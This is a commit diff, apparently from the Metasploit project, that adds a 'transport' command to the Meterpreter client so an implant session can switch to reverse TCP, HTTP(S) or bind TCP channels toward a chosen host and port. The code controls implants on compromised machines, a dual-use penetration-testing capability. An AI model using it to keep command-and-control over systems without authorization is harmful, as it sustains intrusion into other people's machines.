Skip to content

Commit 1f00b59

Browse files
committed
Hacked support for transport switching
1 parent f6731f1 commit 1f00b59

File tree

3 files changed

+68
-0
lines changed

3 files changed

+68
-0
lines changed

lib/rex/post/meterpreter/client_core.rb

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -222,6 +222,20 @@ def use(mod, opts = { })
222222
return true
223223
end
224224

225+
def change_transport(opts={})
226+
request = Packet.create_request('core_change_transport')
227+
228+
url = "#{opts[:scheme]}://#{opts[:lhost]}:#{opts[:lport]}"
229+
url << '/' + opts[:suffix] if opts[:suffix]
230+
231+
request.add_tlv(TLV_TYPE_TRANSPORT_TYPE, opts[:type])
232+
request.add_tlv(TLV_TYPE_TRANSPORT_URL, url)
233+
234+
response = client.send_request(request)
235+
236+
# TODO: shut this baby down.
237+
end
238+
225239
#
226240
# Migrates the meterpreter instance to the process specified
227241
# by pid. The connection to the server remains established.

lib/rex/post/meterpreter/packet.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,6 +87,10 @@ module Meterpreter
8787
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_META_TYPE_UINT | 408
8888
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409
8989

90+
91+
TLV_TYPE_TRANSPORT_TYPE = TLV_META_TYPE_UINT | 430
92+
TLV_TYPE_TRANSPORT_URL = TLV_META_TYPE_STRING | 431
93+
9094
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
9195
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
9296

@@ -179,6 +183,8 @@ def inspect
179183
when TLV_TYPE_MIGRATE_LEN; "MIGRATE-LEN"
180184
when TLV_TYPE_MIGRATE_PAYLOAD; "MIGRATE-PAYLOAD"
181185
when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
186+
when TLV_TYPE_TRANSPORT_TYPE; "TRANSPORT-TYPE"
187+
when TLV_TYPE_TRANSPORT_URL; "TRANSPORT-URL"
182188

183189
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
184190
#when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'

lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,7 @@ def commands
5050
"irb" => "Drop into irb scripting mode",
5151
"use" => "Deprecated alias for 'load'",
5252
"load" => "Load one or more meterpreter extensions",
53+
"transport" => "Change the current transport mechanism",
5354
"quit" => "Terminate the meterpreter session",
5455
"resource" => "Run the commands stored in a file",
5556
"read" => "Reads data from a channel",
@@ -320,6 +321,53 @@ def cmd_irb(*args)
320321
Rex::Ui::Text::IrbShell.new(binding).run
321322
end
322323

324+
def cmd_transport(*args)
325+
if ( args.length == 0 or args.include?("-h") )
326+
#cmd_transport_help
327+
return true
328+
end
329+
330+
# the order of these is important (hacky!)
331+
valid_transports = ['reverse_tcp', 'reverse_http', 'reverse_https', 'bind_tcp']
332+
333+
transport = args.shift.downcase
334+
unless valid_transports.include?(transport)
335+
#cmd_transport_help
336+
end
337+
338+
if transport == 'bind_tcp'
339+
unless args.length == 1
340+
#cmd_transport_help
341+
end
342+
343+
lhost = ""
344+
lport = args.shift.to_i
345+
type = 0
346+
else
347+
unless args.length == 2
348+
#cmd_transport_help
349+
end
350+
351+
lhost = args.shift
352+
lport = args.shift.to_i
353+
type = valid_transports.index(transport)
354+
end
355+
356+
suffix = nil
357+
unless transport.ends_with?("tcp")
358+
suffix = "some magic URL"
359+
end
360+
361+
client.core.change_transport({
362+
:type => type,
363+
:scheme => transport.split('_')[1],
364+
:lhost => lhost,
365+
:lport => lport,
366+
:suffix => suffix
367+
})
368+
369+
end
370+
323371
def cmd_migrate_help
324372
if client.platform =~ /linux/
325373
print_line "Usage: migrate <pid> [writable_path]"

0 commit comments

Comments
 (0)